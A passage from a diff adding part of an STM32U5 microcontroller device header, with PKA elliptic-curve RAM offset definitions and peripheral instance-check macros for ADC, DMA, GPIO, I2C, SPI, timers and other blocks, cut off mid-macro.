complete addition output data */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_X ((0x0D60UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_Y ((0x0DB8UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_Z ((0x0E10UL - PKA_RAM_OFFSET)>>2) /*!< Output result Z coordinate */ + +/* Compute ECC double base ladder input data */ +#define PKA_ECC_DOUBLE_LADDER_IN_PRIME_ORDER_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ +#define PKA_ECC_DOUBLE_LADDER_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_DOUBLE_LADDER_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve '|a|' coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_DOUBLE_LADDER_IN_K_INTEGER ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input 'k' integer coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_M_INTEGER ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input 'm' integer coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_X ((0x0628UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_Y ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_Z ((0x06D8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Z coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_X ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q X coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_Y ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Y coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_Z ((0x07E0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Z coordinate */ + +/* Compute ECC double base ladder output data */ +#define PKA_ECC_DOUBLE_LADDER_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate (affine coordinate) */ +#define PKA_ECC_DOUBLE_LADDER_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate (affine coordinate) */ +#define PKA_ECC_DOUBLE_LADDER_OUT_ERROR ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/* Compute ECC projective to affine conversion input data */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_X ((0x0D60UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P X coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_Y ((0x0DB8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P Y coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_Z ((0x0E10UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P Z coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MONTGOMERY_PARAM_R2 ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ + +/* Compute ECC projective to affine conversion output data */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result x affine coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result y affine coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/** @addtogroup STM32U5xx_Peripheral_Exported_macros + * @{ + */ + +/******************************* ADC Instances ********************************/ +#define IS_ADC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == ADC1_NS) || \ + ((INSTANCE) == ADC1_S) || \ + ((INSTANCE) == ADC2_NS) || \ + ((INSTANCE) == ADC2_S) || \ + ((INSTANCE) == ADC4_NS) || \ + ((INSTANCE) == ADC4_S)) + +#define IS_ADC_MULTIMODE_MASTER_INSTANCE(INSTANCE) (((INSTANCE) == ADC1_NS) || \ + ((INSTANCE) == ADC1_S)) + +#define IS_ADC_COMMON_INSTANCE(INSTANCE) (((INSTANCE) == ADC12_COMMON_NS) || \ + ((INSTANCE) == ADC12_COMMON_S) || \ + ((INSTANCE) == ADC4_COMMON_NS) || \ + ((INSTANCE) == ADC4_COMMON_S)) + +/******************************* AES Instances ********************************/ +#define IS_AES_ALL_INSTANCE(INSTANCE) (((INSTANCE) == AES_NS) || ((INSTANCE) == AES_S)) + +/******************************* PKA Instances ********************************/ +#define IS_PKA_ALL_INSTANCE(INSTANCE) (((INSTANCE) == PKA_NS) || ((INSTANCE) == PKA_S)) + +/******************************** FDCAN Instances *****************************/ +#define IS_FDCAN_ALL_INSTANCE(INSTANCE) (((INSTANCE) == FDCAN1_NS) || ((INSTANCE) == FDCAN1_S)) + +/******************************** COMP Instances ******************************/ +#define IS_COMP_ALL_INSTANCE(INSTANCE) (((INSTANCE) == COMP1_NS) || ((INSTANCE) == COMP1_S) || \ + ((INSTANCE) == COMP2_NS) || ((INSTANCE) == COMP2_S)) + +/******************** COMP Instances with window mode capability **************/ +#define IS_COMP_WINDOWMODE_INSTANCE(INSTANCE) (((INSTANCE) == COMP1_NS) || ((INSTANCE) == COMP1_S) || \ + ((INSTANCE) == COMP2_NS) || ((INSTANCE) == COMP2_S)) + +/******************************* CORDIC Instances *****************************/ +#define IS_CORDIC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == CORDIC_NS) || ((INSTANCE) == CORDIC_S)) + +/******************************* CRC Instances ********************************/ +#define IS_CRC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == CRC_NS) || ((INSTANCE) == CRC_S)) + +/******************************* DAC Instances ********************************/ +#define IS_DAC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DAC1_NS) || ((INSTANCE) == DAC1_S)) + +/******************************* DELAYBLOCK Instances *******************************/ +#define IS_DLYB_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DLYB_SDMMC1_NS) || \ + ((INSTANCE) == DLYB_SDMMC2_NS) || \ + ((INSTANCE) == DLYB_SDMMC1_S) || \ + ((INSTANCE) == DLYB_SDMMC2_S) || \ + ((INSTANCE) == DLYB_OCTOSPI1_NS) || \ + ((INSTANCE) == DLYB_OCTOSPI2_NS) || \ + ((INSTANCE) == DLYB_OCTOSPI1_S) || \ + ((INSTANCE) == DLYB_OCTOSPI2_S )) + +/******************************** DMA Instances *******************************/ +#define IS_DMA_ALL_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel0_NS) || ((INSTANCE) == GPDMA1_Channel0_S) || \ + ((INSTANCE) == GPDMA1_Channel1_NS) || ((INSTANCE) == GPDMA1_Channel1_S) || \ + ((INSTANCE) == GPDMA1_Channel2_NS) || ((INSTANCE) == GPDMA1_Channel2_S) || \ + ((INSTANCE) == GPDMA1_Channel3_NS) || ((INSTANCE) == GPDMA1_Channel3_S) || \ + ((INSTANCE) == GPDMA1_Channel4_NS) || ((INSTANCE) == GPDMA1_Channel4_S) || \ + ((INSTANCE) == GPDMA1_Channel5_NS) || ((INSTANCE) == GPDMA1_Channel5_S) || \ + ((INSTANCE) == GPDMA1_Channel6_NS) || ((INSTANCE) == GPDMA1_Channel6_S) || \ + ((INSTANCE) == GPDMA1_Channel7_NS) || ((INSTANCE) == GPDMA1_Channel7_S) || \ + ((INSTANCE) == GPDMA1_Channel8_NS) || ((INSTANCE) == GPDMA1_Channel8_S) || \ + ((INSTANCE) == GPDMA1_Channel9_NS) || ((INSTANCE) == GPDMA1_Channel9_S) || \ + ((INSTANCE) == GPDMA1_Channel10_NS) || ((INSTANCE) == GPDMA1_Channel10_S) || \ + ((INSTANCE) == GPDMA1_Channel11_NS) || ((INSTANCE) == GPDMA1_Channel11_S) || \ + ((INSTANCE) == GPDMA1_Channel12_NS) || ((INSTANCE) == GPDMA1_Channel12_S) || \ + ((INSTANCE) == GPDMA1_Channel13_NS) || ((INSTANCE) == GPDMA1_Channel13_S) || \ + ((INSTANCE) == GPDMA1_Channel14_NS) || ((INSTANCE) == GPDMA1_Channel14_S) || \ + ((INSTANCE) == GPDMA1_Channel15_NS) || ((INSTANCE) == GPDMA1_Channel15_S) || \ + ((INSTANCE) == LPDMA1_Channel0_NS) || ((INSTANCE) == LPDMA1_Channel0_S) || \ + ((INSTANCE) == LPDMA1_Channel1_NS) || ((INSTANCE) == LPDMA1_Channel1_S) || \ + ((INSTANCE) == LPDMA1_Channel2_NS) || ((INSTANCE) == LPDMA1_Channel2_S) || \ + ((INSTANCE) == LPDMA1_Channel3_NS) || ((INSTANCE) == LPDMA1_Channel3_S)) + +#define IS_GPDMA_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel0_NS) || ((INSTANCE) == GPDMA1_Channel0_S) || \ + ((INSTANCE) == GPDMA1_Channel1_NS) || ((INSTANCE) == GPDMA1_Channel1_S) || \ + ((INSTANCE) == GPDMA1_Channel2_NS) || ((INSTANCE) == GPDMA1_Channel2_S) || \ + ((INSTANCE) == GPDMA1_Channel3_NS) || ((INSTANCE) == GPDMA1_Channel3_S) || \ + ((INSTANCE) == GPDMA1_Channel4_NS) || ((INSTANCE) == GPDMA1_Channel4_S) || \ + ((INSTANCE) == GPDMA1_Channel5_NS) || ((INSTANCE) == GPDMA1_Channel5_S) || \ + ((INSTANCE) == GPDMA1_Channel6_NS) || ((INSTANCE) == GPDMA1_Channel6_S) || \ + ((INSTANCE) == GPDMA1_Channel7_NS) || ((INSTANCE) == GPDMA1_Channel7_S) || \ + ((INSTANCE) == GPDMA1_Channel8_NS) || ((INSTANCE) == GPDMA1_Channel8_S) || \ + ((INSTANCE) == GPDMA1_Channel9_NS) || ((INSTANCE) == GPDMA1_Channel9_S) || \ + ((INSTANCE) == GPDMA1_Channel10_NS) || ((INSTANCE) == GPDMA1_Channel10_S) || \ + ((INSTANCE) == GPDMA1_Channel11_NS) || ((INSTANCE) == GPDMA1_Channel11_S) || \ + ((INSTANCE) == GPDMA1_Channel12_NS) || ((INSTANCE) == GPDMA1_Channel12_S) || \ + ((INSTANCE) == GPDMA1_Channel13_NS) || ((INSTANCE) == GPDMA1_Channel13_S) || \ + ((INSTANCE) == GPDMA1_Channel14_NS) || ((INSTANCE) == GPDMA1_Channel14_S) || \ + ((INSTANCE) == GPDMA1_Channel15_NS) || ((INSTANCE) == GPDMA1_Channel15_S)) + +#define IS_LPDMA_INSTANCE(INSTANCE) (((INSTANCE) == LPDMA1_Channel0_NS) || ((INSTANCE) == LPDMA1_Channel0_S) || \ + ((INSTANCE) == LPDMA1_Channel1_NS) || ((INSTANCE) == LPDMA1_Channel1_S) || \ + ((INSTANCE) == LPDMA1_Channel2_NS) || ((INSTANCE) == LPDMA1_Channel2_S) || \ + ((INSTANCE) == LPDMA1_Channel3_NS) || ((INSTANCE) == LPDMA1_Channel3_S)) + +#define IS_DMA_2D_ADDRESSING_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel12_NS) || ((INSTANCE) == GPDMA1_Channel12_S) || \ + ((INSTANCE) == GPDMA1_Channel13_NS) || ((INSTANCE) == GPDMA1_Channel13_S) || \ + ((INSTANCE) == GPDMA1_Channel14_NS) || ((INSTANCE) == GPDMA1_Channel14_S) || \ + ((INSTANCE) == GPDMA1_Channel15_NS) || ((INSTANCE) == GPDMA1_Channel15_S)) + +/****************************** OTFDEC Instances ********************************/ +#define IS_OTFDEC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == OTFDEC1_NS) || ((INSTANCE) == OTFDEC1_S) || \ + ((INSTANCE) == OTFDEC2_NS) || ((INSTANCE) == OTFDEC2_S)) + +/****************************** RAMCFG Instances ********************************/ +#define IS_RAMCFG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM1_NS) || ((INSTANCE) == RAMCFG_SRAM1_S) || \ + ((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_SRAM3_NS) || ((INSTANCE) == RAMCFG_SRAM3_S) || \ + ((INSTANCE) == RAMCFG_SRAM4_NS) || ((INSTANCE) == RAMCFG_SRAM4_S) || \ + ((INSTANCE) == RAMCFG_SRAM5_NS) || ((INSTANCE) == RAMCFG_SRAM5_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S)) + +/***************************** RAMCFG ECC Instances *****************************/ +#define IS_RAMCFG_ECC_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_SRAM3_NS) || ((INSTANCE) == RAMCFG_SRAM3_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S)) + +/***************************** RAMCFG IT Instances ******************************/ +#define IS_RAMCFG_IT_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_SRAM3_NS) || ((INSTANCE) == RAMCFG_SRAM3_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S)) + +/************************ RAMCFG Write Protection Instances *********************/ +#define IS_RAMCFG_WP_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S)) + +/******************************** FMAC Instances ******************************/ +#define IS_FMAC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == FMAC_NS) || ((INSTANCE) == FMAC_S)) + +/******************************* GPIO Instances *******************************/ +#define IS_GPIO_ALL_INSTANCE(INSTANCE) (((INSTANCE) == GPIOA_NS) || ((INSTANCE) == GPIOA_S) || \ + ((INSTANCE) == GPIOB_NS) || ((INSTANCE) == GPIOB_S) || \ + ((INSTANCE) == GPIOC_NS) || ((INSTANCE) == GPIOC_S) || \ + ((INSTANCE) == GPIOD_NS) || ((INSTANCE) == GPIOD_S) || \ + ((INSTANCE) == GPIOE_NS) || ((INSTANCE) == GPIOE_S) || \ + ((INSTANCE) == GPIOF_NS) || ((INSTANCE) == GPIOF_S) || \ + ((INSTANCE) == GPIOG_NS) || ((INSTANCE) == GPIOG_S) || \ + ((INSTANCE) == GPIOH_NS) || ((INSTANCE) == GPIOH_S) || \ + ((INSTANCE) == GPIOI_NS) || ((INSTANCE) == GPIOI_S) || \ + ((INSTANCE) == GPIOJ_NS) || ((INSTANCE) == GPIOJ_S) || \ + ((INSTANCE) == LPGPIO1_NS) || ((INSTANCE) == LPGPIO1_S)) + +/******************************* LPGPIO Instances *****************************/ +#define IS_LPGPIO_ALL_INSTANCE(INSTANCE) (((INSTANCE) == LPGPIO1_NS) || ((INSTANCE) == LPGPIO1_S)) + +/******************************* DMA2D Instances *******************************/ +#define IS_DMA2D_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == DMA2D_NS) || ((__INSTANCE__) == DMA2D_S)) + +/******************************* DCMI Instances *******************************/ +#define IS_DCMI_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == DCMI_NS) || ((__INSTANCE__) == DCMI_S)) + +/******************************* DCACHE Instances *****************************/ +#define IS_DCACHE_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DCACHE1_NS) || ((INSTANCE) == DCACHE1_S)) + +/******************************* PSSI Instances *******************************/ +#define IS_PSSI_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == PSSI_NS) || ((__INSTANCE__) == PSSI_S)) + +/******************************* GPIO AF Instances ****************************/ +/* On U5, all GPIO Bank support AF */ +#define IS_GPIO_AF_INSTANCE(INSTANCE) IS_GPIO_ALL_INSTANCE(INSTANCE) + +/**************************** GPIO Lock Instances *****************************/ +/* On U5, all GPIO Bank support the Lock mechanism */ +#define IS_GPIO_LOCK_INSTANCE(INSTANCE) IS_GPIO_ALL_INSTANCE(INSTANCE) + +/******************************** I2C Instances *******************************/ +#define IS_I2C_ALL_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S) || \ + ((INSTANCE) == I2C5_NS) || ((INSTANCE) == I2C5_S) || \ + ((INSTANCE) == I2C6_NS) || ((INSTANCE) == I2C6_S)) + +/****************** I2C Instances : wakeup capability from stop modes *********/ +#define IS_I2C_WAKEUP_FROMSTOP_INSTANCE(INSTANCE) IS_I2C_ALL_INSTANCE(INSTANCE) + +/******************* I2C Instances : Group belongingness *********************/ +#define IS_I2C_GRP1_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S) || \ + ((INSTANCE) == I2C5_NS) || ((INSTANCE) == I2C5_S) || \ + ((INSTANCE) == I2C6_NS) || ((INSTANCE) == I2C6_S)) + +#define IS_I2C_GRP2_INSTANCE(INSTANCE) (((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S)) + +/****************************** OPAMP Instances *******************************/ +#define IS_OPAMP_ALL_INSTANCE(INSTANCE) (((INSTANCE) == OPAMP1_NS) || ((INSTANCE) == OPAMP1_S) || \ + ((INSTANCE) == OPAMP2_NS) || ((INSTANCE) == OPAMP2_S)) + +/******************************* OSPI Instances *******************************/ +#define IS_OSPI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == OCTOSPI1_NS) || ((INSTANCE) == OCTOSPI1_S) || \ + ((INSTANCE) == OCTOSPI2_NS) || ((INSTANCE) == OCTOSPI2_S)) + +/******************************* HSPI Instances *******************************/ +#define IS_HSPI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == HSPI1_NS) || ((INSTANCE) == HSPI1_S)) + +/******************************* RNG Instances ********************************/ +#define IS_RNG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RNG_NS) || ((INSTANCE) == RNG_S)) + +/****************************** RTC Instances *********************************/ +#define IS_RTC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RTC_NS) || ((INSTANCE) == RTC_S)) + +/******************************** SAI Instances *******************************/ +#define IS_SAI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SAI1_Block_A_NS) || ((INSTANCE) == SAI1_Block_A_S) || \ + ((INSTANCE) == SAI1_Block_B_NS) || ((INSTANCE) == SAI1_Block_B_S) || \ + ((INSTANCE) == SAI2_Block_A_NS) || ((INSTANCE) == SAI2_Block_A_S) || \ + ((INSTANCE) == SAI2_Block_B_NS) || ((INSTANCE) == SAI2_Block_B_S)) + +/****************************** SDMMC Instances *******************************/ +#define IS_SDMMC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SDMMC1_NS) || ((INSTANCE) == SDMMC1_S) || \ + ((INSTANCE) == SDMMC2_NS) || ((INSTANCE) == SDMMC2_S)) + +/****************************** SMBUS Instances *******************************/ +#define IS_SMBUS_ALL_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S) || \ + ((INSTANCE) == I2C5_NS) || ((INSTANCE) == I2C5_S) || \ + ((INSTANCE) == I2C6_NS) || ((INSTANCE) == I2C6_S)) + +/******************* SMBUS Instances : Group belongingness *********************/ +#define IS_SMBUS_GRP1_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S) || \ + ((INSTANCE) == I2C5_NS) || ((INSTANCE) == I2C5_S) || \ + ((INSTANCE) == I2C6_NS) || ((INSTANCE) == I2C6_S)) + +#define IS_SMBUS_GRP2_INSTANCE(INSTANCE) (((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S)) + +/******************************** SPI Instances *******************************/ +#define IS_SPI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) || \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S) || \ + ((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S)) + +#define IS_SPI_LIMITED_INSTANCE(INSTANCE) (((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S)) + +#define IS_SPI_FULL_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) || \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S)) + +#define IS_SPI_GRP1_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) || \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S)) + +#define IS_SPI_GRP2_INSTANCE(INSTANCE) (((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S)) + +/****************** LPTIM Instances : All supported instances *****************/ +#define IS_LPTIM_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM4_NS) || ((INSTANCE) == LPTIM4_S)) + +/****************** LPTIM Instances : DMA supported instances *****************/ +#define IS_LPTIM_DMA_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S)) + +/************* LPTIM Instances : at least 1 capture/compare channel ***********/ +#define IS_LPTIM_CC1_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM4_NS) || ((INSTANCE) == LPTIM4_S)) + +/************* LPTIM Instances : at least 2 capture/compare channel ***********/ +#define IS_LPTIM_CC2_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S)) + +/****************** LPTIM Instances : supporting encoder interface **************/ +#define IS_LPTIM_ENCODER_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S)) + +/****************** LPTIM Instances : supporting Input Capture **************/ +#define IS_LPTIM_INPUT_CAPTURE_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S)) + +/****************** TIM Instances : All supported instances *******************/ +#define IS_TIM_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting 32 bits counter ****************/ +#define IS_TIM_32B_COUNTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S)) + +/****************** TIM Instances : supporting the break function *************/ +#define IS_TIM_BREAK_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/************** TIM Instances : supporting Break source selection *************/ +#define IS_TIM_BREAKSOURCE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting 2 break inputs *****************/ +#define IS_TIM_BKIN2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/************* TIM Instances : at least 1 capture/compare channel *************/ +#define IS_TIM_CC1_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/************ TIM Instances : at least 2 capture/compare channels *************/ +#define IS_TIM_CC2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/************ TIM Instances : at least 3 capture/compare channels *************/ +#define IS_TIM_CC3_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/************ TIM Instances : at least 4 capture/compare channels *************/ +#define IS_TIM_CC4_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || 